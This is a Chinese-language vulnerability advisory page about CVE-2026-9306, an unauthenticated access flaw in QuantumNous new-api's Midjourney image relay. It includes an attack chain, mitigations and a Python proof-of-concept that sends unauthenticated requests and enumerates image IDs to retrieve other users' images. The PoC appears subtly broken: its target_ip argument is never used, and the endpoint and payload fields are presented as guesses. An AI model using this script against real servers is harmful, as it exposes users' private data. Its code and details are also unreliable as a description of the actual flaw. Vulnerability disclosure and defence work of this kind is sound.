IPBUF安全漏洞报告
English
CVE-2026-9306 CVSS 3.7 低危

CVE-2026-9306 QuantumNous new-api 授权绕过漏洞

披露日期: 2026-05-23

漏洞信息

漏洞编号
CVE-2026-9306
漏洞类型
授权绕过
CVSS评分
3.7 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
QuantumNous new-api

相关标签

授权绕过QuantumNousnew-apiMidjourneyAPI安全访问控制CVE-2026-9306

漏洞概述

CVE-2026-9306是QuantumNous new-api系统中一个授权绕过安全漏洞。该漏洞存在于Midjourney Image Relay Endpoint组件中,具体影响router/relay-router.go文件里的RelayMidjourneyImage/GetByOnlyMJId函数。攻击者可以通过构造特殊请求绕过正常的授权检查流程,在无需认证的情况下访问敏感资源。漏洞影响版本为new-api 0.12.1及之前版本。由于CVSS评分为3.7(低危级别),且攻击复杂度较高,实际利用难度相对较大。但需要注意的是,该漏洞已公开披露且可被利用,厂商在收到安全通知后未做出任何响应,因此建议用户及时采取防护措施。该漏洞可能导致未授权访问Midjourney图像中继服务,造成敏感信息泄露风险。

技术细节

该漏洞属于OWASP Top 10中的Broken Access Control(失效的访问控制)类别。在QuantumNous new-api的Midjourney Image Relay功能中,GetByOnlyMJId函数存在授权验证缺陷。攻击者可以通过修改请求参数(如MJ ID),在无需提供有效认证凭证的情况下,访问其他用户的Midjourney图像资源。漏洞根源在于函数未正确验证请求者是否有权访问指定的图像资源。具体表现为:1) 函数仅依赖MJ ID进行资源定位,缺少用户身份与资源所有权的关联验证;2) 未对请求来源进行充分校验;3) 缺少访问控制列表(ACL)检查机制。攻击者可通过枚举或猜测有效的MJ ID,结合API端点直接获取图像数据。修复方案需要在函数中添加完整的权限验证逻辑,确保用户只能访问自己拥有的资源。

攻击链分析

STEP 1
信息收集
攻击者识别目标系统使用的QuantumNous new-api版本,确认版本 <= 0.12.1
STEP 2
端点识别
定位Midjourney Image Relay端点,通常位于/api/relay/midjourney/image
STEP 3
MJ ID枚举
通过日志泄露、API枚举或社会工程学获取有效的Midjourney图像ID
STEP 4
构造恶意请求
构造包含目标MJ ID的JSON请求,调用GetByOnlyMJId函数,无需携带认证令牌
STEP 5
绕过授权检查
利用函数未正确验证用户与资源所有权关联的缺陷,直接获取图像数据
STEP 6
数据窃取
成功获取敏感图像资源,可能包含用户隐私信息或商业机密

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-9306 PoC - QuantumNous new-api Authorization Bypass # Target: QuantumNous new-api <= 0.12.1 # Vulnerability: Unauthenticated access to Midjourney images via RelayMidjourneyImage/GetByOnlyMJId TARGET_URL = "http://target-server/api/relay/midjourney/image" def exploit_cve_2026_9306(target_ip, mj_id): """ Exploit authorization bypass in GetByOnlyMJId function Args: target_ip: Target server IP address mj_id: Valid Midjourney ID (can be enumerated or obtained from logs) Returns: Response content if successful, None otherwise """ # Construct the request without authentication endpoint = f"{TARGET_URL}/GetByOnlyMJId" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } # Payload to exploit the authorization bypass payload = { "mjId": mj_id, "onlyMJId": True } try: # Send request without authentication token response = requests.post(endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[!] Successfully accessed image with MJ ID: {mj_id}") print(f"[*] Response: {response.text[:500]}") return response.json() else: print(f"[*] Status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None def enumerate_mj_ids(target_ip, start_id=1000, end_id=2000): """ Enumerate valid MJ IDs to find accessible images """ print(f"[*] Enumerating MJ IDs from {start_id} to {end_id}...") for mj_id in range(start_id, end_id): result = exploit_cve_2026_9306(target_ip, str(mj_id)) if result: print(f"[+] Found accessible image: MJ ID {mj_id}") if __name__ == "__main__": # Example usage target = "192.168.1.100" mj_id = "12345" # Replace with actual MJ ID print("CVE-2026-9306 Exploitation") print("=" * 50) exploit_cve_2026_9306(target, mj_id)

影响范围

QuantumNous new-api <= 0.12.1

防御指南

临时缓解措施
由于厂商未响应安全通知,建议采取以下临时缓解措施:1) 在Web应用防火墙(WAF)上添加规则,限制对/relay/midjourney/image端点的访问;2) 实施IP白名单策略,仅允许受信任的IP地址访问API;3) 临时禁用GetByOnlyMJId功能或将其设置为需要认证;4) 加强API网关的访问控制,添加额外的身份验证层;5) 监控API访问日志,排查是否存在未授权访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表